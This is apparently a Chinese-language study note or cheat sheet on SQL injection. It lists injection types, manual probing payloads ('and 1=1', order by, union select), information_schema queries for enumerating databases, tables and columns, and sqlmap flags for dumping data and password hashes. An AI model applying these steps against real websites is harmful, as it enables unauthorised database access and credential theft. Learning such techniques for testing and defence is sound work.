SQL注入分类
- 数字型
- 字符型(添加注释符号)
SQL手工注入基本方法
- 判断是否能够注入
'
and 1=1
and 1=2
- order by 判断列数
- union select 回显
- 数据库名
select schema_name from information_schema.schemata limit 0,1
- 数据表
select table_name from information_schema.tables where table_schema=( select database()) limit 0,1
- 字段
select column_name from information_schema.columns where table_name='xxx' limit 0,1
- 内容
select xxx from table.column limit 0,1
sqlmap参数
- cookie : 如果网站需要登录则需要设置cookie值
- u : 指定目标URL
- b : 获取DBMS banner,即数据库信息
- dbs : 枚举DBMS中的数据库
- current-db : 获取当前数据库名称
- current-user : 获取当前用户
- users : 枚举DBMS用户
- password : 枚举DBMS用户密码hash,一般与-users连用
- D : 要枚举的DBMS数据库
- tables : 枚举DBMS数据库中的数据表
- T : 要枚举的DBMS数据表
- columns : 枚举DBMS数据库表中的所有列
- C: 要枚举的DBMS数据表中的列
- dump : 转储DBMS数据表项
SQLmap能检测到的注入类型
- Boolean-based blind(布尔型注入)
- 通过判断页面返回情况获得想要的信息。
- Error-based(报错型注入)
- UNION query(可联合查询注入)
- Stacked queries(可多语句查询注入)
- Time-based blind(基于时间延迟注入)
- 盲注的一种,由于页面无回显,添加sleep函数,通过页面响应时间判断是否执行了函数。